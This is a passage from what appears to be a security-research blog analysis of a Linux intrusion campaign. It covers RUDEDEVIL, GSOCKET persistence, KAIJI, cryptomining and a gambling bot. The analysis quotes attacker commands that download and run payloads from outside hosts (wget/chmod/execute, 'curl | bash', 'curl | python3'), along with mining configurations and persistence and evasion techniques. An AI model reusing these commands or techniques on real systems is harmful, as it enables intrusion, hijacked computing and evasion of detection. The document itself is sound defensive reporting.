<li>Finally, a second stage (<code>sss6</code>/<code>sss68</code>) is downloaded and executed, and execution traces are erased.</li>
</ul>
<p>The figure below shows a compressed version of the stager. Lines annotated with <code>[...]</code> are shortened to enhance readability.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image5.png" alt="Compressed version of the 00.sh stager" title="Compressed version of the 00.sh stager" /></p>
<h3>Fileserver</h3>
<p>Via the backdoored web server process, the attacker downloaded and executed malware through the following command:</p>
<pre><code>sh -c wget http://107.178.101[.]245:5488/l64;chmod 777 l64;./l64;rm -r l64;wget http://107.178.101[.]245:5488/l86;chmod 777 l86;./l86;rm -r l86
</code></pre>
<p>The <code>l64</code> and <code>l86</code> files are downloaded from <code>http://107.178.101[.]245:5488</code>, after which they are granted all permissions, executed, and removed. Looking at the server that is hosting these malware samples, we see the following:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image30.png" alt="Rejetto File Server Hosting Several Pieces of Malware" title="Rejetto File Server Hosting Several Pieces of Malware" /></p>
<p>This seems to be a file server, hosting several types of malware for different architectures. The file server leverages the Rejetto technology. These malwares have upload dates and download counters. For example, the <code>download.sh</code> file that was uploaded September 10th, was already downloaded 3,100 times.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image25.png" alt="Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload" title="Download Counter Indicating 3000+ Downloads Within 2 Weeks of Upload" /></p>
<h3>RUDEDEVIL/LUCIFER</h3>
<p>Upon closer inspection, the file <code>sss6</code>, which was downloaded and executed, has been identified as the RUDEDEVIL malware. Early in the execution process, we encounter an embedded message characteristic of this malware family:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image11.png" alt="RUDEDEVIL Malware Characteristic" title="RUDEDEVIL Malware Characteristic" /></p>
<pre><code>Hi, man. I\'ve seen several organizations report my Trojan recently, 
Please let me go. I want to buy a car. That\'s all. I don\'t want to hurt others. 
I can\'t help it. My family is very poor. In China, it\'s hard to buy a suite. 
I don\'t have any accommodation. I don\'t want to do anything illegal. 
Really, really, interested, you can give me XmR, my address is 42cjpfp1jJ6pxv4cbjxbbrmhp9yuzsxh6v5kevp7xzngklnutnzqvu9bhxsqbemstvdwymnsysietq5vubezyfoq4ft4ptc, 
thank yo
</code></pre>
<p>We note that the files <code>l64</code> and <code>l86</code> that are hosted on the file server contain the same malware. When analyzing the execution flow of the malware we see that the main function of the malware performs several key tasks:</p>
<ul>
<li><strong>Daemon Initialization:</strong> The process is converted into a daemon using <code>daemon(1, 0)</code>.</li>
<li><strong>Socket Creation:</strong> A socket is created and bound to a specific port.</li>
<li><strong>Signal Handling:</strong> Custom signal handlers are set up for various signals.</li>
<li><strong>Service Initialization:</strong> Several services are started using <code>SetFILE</code>.</li>
<li><strong>Privilege Handling:</strong> It checks for root privileges and adjusts resource limits accordingly.</li>
<li><strong>Decryption:</strong> The malware decrypts its configuration blobs.</li>
<li><strong>Thread Creation:</strong> Multiple threads are spawned for tasks like mining, killing processes, and monitoring network and CPU usage.</li>
<li><strong>Main Loop:</strong> The program enters an infinite loop where it repeatedly connects to a server and sleeps for a specified duration.</li>
</ul>
<p>When examining the encryption routine, we find it utilizes XOR-based encoding:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image13.png" alt="DareDevil Encryption Routine" title="DareDevil Encryption Routine" /></p>
<p>To decode the contents statically, we developed a basic Python snippet:</p>
<pre><code class="language-python">def DecryptData(data_block, encryption_key):
   key_modifier = encryption_key &amp; 0xFF
   key_index = key_modifier // 0x5F  # 0x5F = 95 in decimal
   modifier = (key_modifier - (key_index * 0x5F)) + 0x58  # 0x58 = 88 in decimal

   for i in range(len(data_block)):
       data_block[i] ^= modifier
       data_block[i] &amp;= 0xFF  # Ensure 8-bit value
       data_block[i] += modifier
       data_block[i] &amp;= 0xFF  # Ensure 8-bit value

   return data_block

# Encoded data as hex strings
encoded_data = [
   '4c494356515049490c467978',
   '0d4f1e4342405142454d0b42534e380f0f5145424f0c53034e4f4f4a0c4f40573801393939391e0d451e020141303727222026254f252d372643400706314955032a593330233237587951215553552d464c0101414939514401515258414324273340254756564741404207004122782d50475555412d503106394d4c34554e48513926352054362a1e0d4e1e20',
   '0f424d4e0f435536575649484b',
   '5642424e380f0f5654430c42014a494c45460c534f4d38070602050f435352434356544b',
]

encryption_key = 0x03FF  # 1023 in decimal

# Process and decrypt each encoded data string
for data in encoded_data:
   # Convert hex string to list of integers
   data_bytes = bytes.fromhex(data)
   data_block = list(data_bytes)

   # Decrypt the data
   decrypted_block = DecryptData(data_block, encryption_key)

   # Convert decrypted data back to bytes
   decrypted_bytes = bytes(decrypted_block)
   print(&quot;Decrypted text:&quot;, decrypted_bytes.decode('utf-8', errors='ignore'))
</code></pre>
<p>After decoding the configuration, the following values are revealed:</p>
<ul>
<li>The first value C2 domain <code>nishabii[.]xyz</code>.</li>
<li>The second value reveals options that will be passed to XMRIG.</li>
<li>The third value shows the temp file location the malware uses.</li>
<li>The fourth and last string shows the download location for the XMRIG binary.</li>
</ul>
<h3>Thread Management in the Malware</h3>
<p>The malware initiates several threads to handle its core operations. Let’s explore how some of these functions work in detail.</p>
<h4>Understanding the KillPid Function</h4>
<p>One of the threads runs the KillPid function, which is designed to continuously monitor and manage processes. The function begins by detaching its current thread, allowing it to run in the background without blocking other processes. It then enters an infinite loop, repeatedly executing its tasks.</p>
<p>At the heart of its functionality is an array called <code>sb_name</code>, which contains the names of processes the malware wants to terminate.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image24.png" alt="RUDEDEVIL kill process array" title="RUDEDEVIL kill process array" /></p>
<p>Every two seconds, the function checks the system for processes listed in this array, retrieving their process IDs (PIDs) using a helper function called <code>getPidByName</code>. After each iteration, it moves to the next process in the list, ensuring all processes in <code>sb_name</code> are handled.</p>
<p>Interestingly, after processing all elements in the array, the function enters an extended sleep for 600 seconds — roughly 10 minutes — before resuming its process checks. This extended sleep period is likely implemented to conserve system resources, ensuring the malware doesn't consume too much CPU time while monitoring processes.</p>
<h4>Understanding the Get_Net_Messages Function</h4>
<p>Another crucial thread is responsible for monitoring network traffic, specifically focusing on the <code>eth0</code> network interface. This functionality is handled by the <code>getOutRates</code> function. The function begins by setting up necessary variables and opening the <code>/proc/net/dev</code> file, which contains detailed network statistics for each interface.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image22.png" alt="Getting network rates from /proc/net/dev" title="Getting network rates from /proc/net/dev" /></p>
<p>If the file is successfully opened, the malware reads a block of data — up to 1024 bytes — and processes it to extract the relevant network statistics. It specifically looks for the <code>eth0</code> interface, parsing the output rate data using a standard string parsing method. If successful, the function returns the output rate for <code>eth0</code>; otherwise, it returns <code>0</code>, ensuring the malware continues functioning even if an error occurs.</p>
<p>This routine allows the malware to quietly monitor the network activity of the infected machine, likely to track data being sent or received across the interface.</p>
<h4>Understanding the Get_Cpu_Message Function</h4>
<p>For CPU monitoring, the malware uses the <code>GetCpuRates</code> function. This function continuously monitors the CPU usage by reading data from <code>/proc/stat</code>. Similar to how the network data is handled, the CPU statistics are read and parsed, allowing the malware to calculate the system's CPU usage.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image34.png" alt="Getting CPU information from /proc/stat" title="Getting CPU information from /proc/stat" /></p>
<p>The function operates in an infinite loop, sleeping for one second between each iteration to avoid overwhelming the system. If the file cannot be opened for some reason, the function logs an error and gracefully exits. However, as long as it’s able to read the file, it continually monitors CPU usage, ensuring the malware remains aware of system performance.</p>
<h4>Understanding the Send_Host_Message Function</h4>
<p>Perhaps the most critical thread is the one responsible for sending system information back to the malware operators. The <code>_SendInfo</code> function performs this task by collecting data about the infected system’s CPU and network usage. It begins by setting up buffers and preparing file paths to gather the necessary data. Depending on the system’s status, it formats the CPU and network usage into a string.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image19.png" alt="Sending system info back to the C2" title="Sending system info back to the C2" /></p>
<p>Additionally, the function checks whether a particular process is running on the system and adjusts its formatted message accordingly. Finally, it sends this formatted data back to the command-and-control server via a socket connection.</p>
<p>In essence, this function allows the malware to remotely monitor the infected machine, gathering key details like CPU load and network activity. The operators can use this information to assess the status of their infection and adjust their activities as needed.</p>
<h3>Connecting to the Command-and-Control (C2) Server</h3>
<p>Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the <code>ConnectServer</code> function in the main thread, which handles communication with the server and executes commands remotely.</p>
<h4>Understanding the ConnectServer Function</h4>
<p>The first task the <code>ConnectServer</code> function performs is establishing a connection to the C2 server using <code>ServerConnectCli</code>. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.</p>
<p>Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.</p>
<p>After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.</p>
<p>When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.</p>
<h4>Command-and-Control (C2) Commands</h4>
<p>The <code>ConnectServer</code> function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:</p>
<ul>
<li><strong>Case 4:</strong> The malware calls the <code>DealwithDDoS</code> function, likely initiating a Distributed Denial of Service (DDoS) attack.</li>
<li><strong>Case 5:</strong> Sets the <code>StopFlag</code> to <code>1</code>, which could signal the malware to stop specific tasks.</li>
<li><strong>Case 6:</strong> Downloads a file from the server using <code>http_get</code>, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.</li>
<li><strong>Case 7:</strong> Executes a system command using the <code>system</code> function, providing the attackers with direct control over the system’s command line.</li>
<li><strong>Case 8:</strong> Sets <code>StopCpu</code> to <code>0</code>, restarting any previously halted CPU tasks.</li>
<li><strong>Case 9:</strong> Sets <code>StopCpu</code> to <code>1</code>, halting all CPU tasks.</li>
<li><strong>Case 0xA:</strong> Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.</li>
<li><strong>Case 0xB:</strong> Sets <code>stopxmr</code> to <code>1</code>, effectively stopping the XMRIG miner.</li>
<li><strong>Case 0xC:</strong> Resets <code>stopxmr</code> to <code>0</code> and retrieves the current process PID, resuming the mining activity.</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image19.png" alt="Processing of C2 commands" title="Processing of C2 commands" /></p>
<p>Each command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.</p>
<h3>Variants of RUDEDEVIL Malware and XMRIG Configuration</h3>
<p>While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.</p>
<p>Each version of the malware was configured to connect to the same mining pool, <code>c3pool.org</code>, but with slight differences in the parameters passed to the XMRIG miner:</p>
<ul>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php</code></li>
<li><code>-o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0</code></li>
</ul>
<p>Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the <code>c3pool</code> application, we confirmed that both XMR addresses associated with these commands are currently active and mining.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image9.png" alt="C3pool mining revenue" title="C3pool mining revenue" /></p>
<p>Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.</p>
<h2>GSOCKET</h2>
<p>To establish persistence, the threat actor downloaded and installed <a href="https://github.com/hackerschoice/gsocket">GSOCKET</a>, a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.</p>
<p>Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.</p>
<p>Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image7.png" alt="GSOCKET Kernel Process Masquerading" title="GSOCKET Kernel Process Masquerading" /></p>
<p>It then creates the <code>/dev/shm/.gs-1000</code> directory to download and store its binary in shared memory. Additionally, by default, it sets up an <code>/htop</code> directory under <code>/home/user/.config/htop/</code> to store both the GSOCKET binary and the secret key used for its operations.</p>
<p>Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image21.png" alt="GSOCKET Crontab Persistence" title="GSOCKET Crontab Persistence" /></p>
<p>The binary is executed under the name of a kernel process using the <code>exec -a [process_name]</code> command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:</p>
<p>When decoding the payload, we see how the <code>defunct.dat</code> secret key is used as an argument to execute the <code>defunct</code> binary, which is masqueraded as <code>[raid5wq]</code> through the use of <code>exec -a </code>command:</p>
<p>In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (<code>rc.local</code>) and Systemd. GSOCKET enumerates potential persistence locations:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image29.png" alt="GSOCKET Persistence Technique Enumeration" title="GSOCKET Persistence Technique Enumeration" /></p>
<p>GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image14.png" alt="GSOCKET Webhook Capabilities" title="GSOCKET Webhook Capabilities" /></p>
<p>Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image16.png" alt="GSOCKET Timestomping Capability" title="GSOCKET Timestomping Capability" /></p>
<p>These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.</p>
<p>Additionally, a PHP payload was fetched from an external IP and saved as <code>404.php</code>, likely functioning as a backdoor for future access. We did not manage to obtain this payload.</p>
<h3>Post compromise dwell time</h3>
<p>After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.</p>
<p>After regaining access to the host, a newer version of the KAIJI malware was deployed.</p>
<h3>KAIJI malware: a comparison to previous samples</h3>
<p>While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image2.png" alt="KAIJI Download.sh Script" title="KAIJI Download.sh Script" /></p>
<p>The same Shell script is found in other reports where this script is used to deploy KAIJI.</p>
<p>As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of <code>Chaos</code> (KAIJI) can be found in their blog post<a href="https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/"> here</a>.</p>
<p>Using <a href="https://github.com/google/bindiff">BinDiff</a>, a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image18.png" alt="Bindiff for Old and New Version of KAIJI" title="Bindiff for Old and New Version of KAIJI" /></p>
<p>Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.</p>
<p>Delving deeper into the disassembly, we identified a function named <code>main_Link</code>. This function is responsible for decoding the C2 server address used by the malware.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image31.png" alt="KAIJI main_link Function" title="KAIJI main_link Function" /></p>
<p>Once decoded, the function searches for the <code>|(odk)/*-</code> postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.</p>
<p>Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image12.png" alt="KAIJI Dynamic Analysis - Part 1" title="KAIJI Dynamic Analysis - Part 1" /></p>
<p>After execution, KAIJI creates several files in the <code>/etc/</code> and <code>/dev/</code> directories, <code>/etc/id.services.conf</code>, <code>/etc/32678</code>, <code>/dev/.img</code> and <code>/dev/.old</code>. These scripts are places to establish persistence.</p>
<p>Two services are set up, <code>/etc/init.d/linux_kill</code> and <code>crond.service</code>. <code>crond.service</code> is executed by Systemd, while <code>linux_kill</code> is used for SysVinit persistence.</p>
<p>After reloading the Systemd daemon, the first network connection to the C2 is attempted.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image18.png" alt="KAIJI Dynamic Analysis - Part 2" title="KAIJI Dynamic Analysis - Part 2" /></p>
<p>Next, the <code>Systemd Late generator</code> service file is created. More information on the workings of <code>Systemd</code>, and different ways of establishing persistence through this method can be found in our recent blog series dubbed <a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms">Linux Detection Engineering -  A primer on persistence mechanisms</a>.</p>
<p>KAIJI creates the <code>/boot/System.img.config</code> file, which is an executable that is executed through the previously deployed <code>Systemd</code> services. This binary, is amongst other binaries, another way of establishing persistence.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image26.png" alt="KAIJI Dynamic Analysis - Part 3" title="KAIJI Dynamic Analysis - Part 3" /></p>
<p>Next, KAIJI adjusts the <code>SELinux</code> policies to allow unauthorized actions. It searches audit logs for denied operations related to <code>System.img.conf</code>, generates a new <code>SELinux</code> policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.</p>
<p>Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; <code>/usr/lib/libd1rpcld.so</code> and <code>/.img</code>.</p>
<p>Right after, <code>/etc/crontab</code> is altered through an echo command, ensuring that the <code>/.img</code> file is executed by root on a set schedule.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image20.png" alt="KAIJI Dynamic Analysis - Part 4" title="KAIJI Dynamic Analysis - Part 4" /></p>
<p>KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image17.png" alt="KAIJI Dynamic Analysis - Part 5" title="KAIJI Dynamic Analysis - Part 5" /></p>
<p>KAIJI uses the <code>renice</code> command to grant PID <code>2957</code>, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.</p>
<p>To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.</p>
<p>Finally, we see a trace of <code>cron</code> executing the <code>/.img</code>, which was planted in the <code>/etc/crontab</code> file earlier.</p>
<h2>The saga continues</h2>
<p>Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the <code>www-data</code> user through the Apache2 process using the command:</p>
<pre><code>sh -c wget http://91.92.241[.]103:8002/gk.php
</code></pre>
<p>The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying <code>pspy64</code>. <code>Pspy</code> is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities​.</p>
<p>Notably, <code>pspy64</code> was executed by the <code>[rcu_preempt]</code> parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.</p>
<p>Further attempts at privilege escalation involved exploiting <code>CVE-2021-4034</code>, also known as <code>pwnkit</code>. This vulnerability affects the <code>pkexec</code> component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.</p>
<h3>Custom built binaries</h3>
<p>Right after, the attackers attempted to download a custom-built malware named <code>apache2</code> and <code>apache2v86</code> from:</p>
<ul>
<li><code>http://62.72.22[.]91/apache2</code></li>
<li><code>http://62.72.22[.]91/apache2v86</code></li>
</ul>
<p>We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.</p>
<p>While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image33.png" alt="Apache2 XOR-Encoded Strings" title="Apache2 XOR-Encoded Strings" /></p>
<p>The XOR key used to encode the strings was identified as <code>0x79</code> (or the character <code>y</code>). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:</p>
<pre><code>/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: &quot;Chromium&quot;;v=&quot;122&quot;, &quot;Google Chrome&quot;;v=&quot;122&quot;, &quot;Not-A.Brand&quot;;v=&quot;99
sec-ch-ua-platform: &quot;Windows&quot;
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.
</code></pre>
<p>This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.</p>
<h3>Additional reconnaissance</h3>
<p>The attackers continued to use tools from The Hacker’s Choice, by downloading and executing <a href="https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh"><code>whatserver.sh</code></a>.</p>
<p>This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.</p>
<h3>Mining activities</h3>
<p>After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the <code>www-data</code> user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called <code>[mm_percpu_wq]</code>.</p>
<p>After decoding the base64 contents, we get a very familiar looking output:</p>
<p>Through our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab.</p>
<p>This command tries to download <code>http://gcp.pagaelrescate[.]com:8080/ifindyou</code> every minute, and pipe it to bash. Looking at the contents of <code>ifindyou</code>, we see the following Bash script:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image8.png" alt="Stage 1 - ifindyou.sh" title="Stage 1 - ifindyou.sh" /></p>
<p>This script gathers hostname and IP information, downloads the <code>SystemdXC</code> archive from <code>http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC</code> (XMRIG), stores this in <code>/tmp/SystemdXC</code>, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.</p>
<p>When examining the mining command, we can see how the malware configures XMRIG:</p>
<p>This command connects to the <code>unmineable.com</code> mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address <code>1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image1.png" alt="Bitcoin Address Lookup" title="Bitcoin Address Lookup" /></p>
<p>Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image32.png" alt="Bitcoin Transaction" title="Bitcoin Transaction" /></p>
<p>Interestingly, the output address for this transaction points to a well-known <a href="https://www.ledger.com/academy/topics/security/hot-wallet-vs-cold-crypto-wallet-whats-the-difference">hot wallet</a> associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image10.png" alt="Binance Wallet Destination" title="Binance Wallet Destination" /></p>
<p>When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:</p>
<pre><code>curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash
</code></pre>
<p>Looking at this payload, we can see the following contents:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image23.png" alt="Stage 2 - cycnet.sh" title="Stage 2 - cycnet.sh" /></p>
<p>This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:</p>
<p>The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:</p>
<pre><code>curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3
</code></pre>
<p>The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.</p>
<p>Upon closer examination, we identified the following key components of the script:</p>
<p><strong>Global Variables:</strong></p>
<ul>
<li><code>usuario</code>: Stores the user ID for managing the session.</li>
<li><code>apuesta</code>: Represents the bet amount.</li>
<li><code>ganancias</code>: Tracks the winnings and losses.</li>
<li><code>saldo_actual</code>: Holds the current account balance.</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image3.png" alt="enviador_slot Global Variables" title="enviador_slot Global Variables" /></p>
<h4>Understanding the <code>obteneruid</code> Function</h4>
<p>This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image27.png" alt="enviador_slot obteneruid Function" title="enviador_slot obteneruid Function" /></p>
<h4>Understanding the <code>enviardatos</code> Function</h4>
<p>This function sends game data or status updates back to <code>gcp.pagaelrescate[.]com</code>, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image4.png" alt="enviador_slot enviardatos Function" title="enviador_slot enviardatos Function" /></p>
<h4>Understanding the <code>hacerjugada</code> Function</h4>
<p>The <code>hacerjugada</code> function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls <code>completarbono()</code> to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image28.png" alt="enviador_slot hacerjugada Function" title="enviador_slot hacerjugada Function" /></p>
<h4>Understanding the <code>completarbono</code> Function</h4>
<p>When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the <code>enviardatos()</code> function.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/betting-on-bots/image6.png" alt="enviador_slot completarbono Function" title="enviador_slot completarbono Function" /></p>
<h4>Likely Used for Testing Purposes</h4>
<p>It’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.</p>
<h2>REF6138 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:</p>
<p><em>MITRE ATT&amp;CK tactics, techniques and sub-techniques used</em></p>
<table>
<thead>
<tr>
<th>Tactic</th>
<th>Technique</th>
<th>Sub-Technique</th>
</tr>
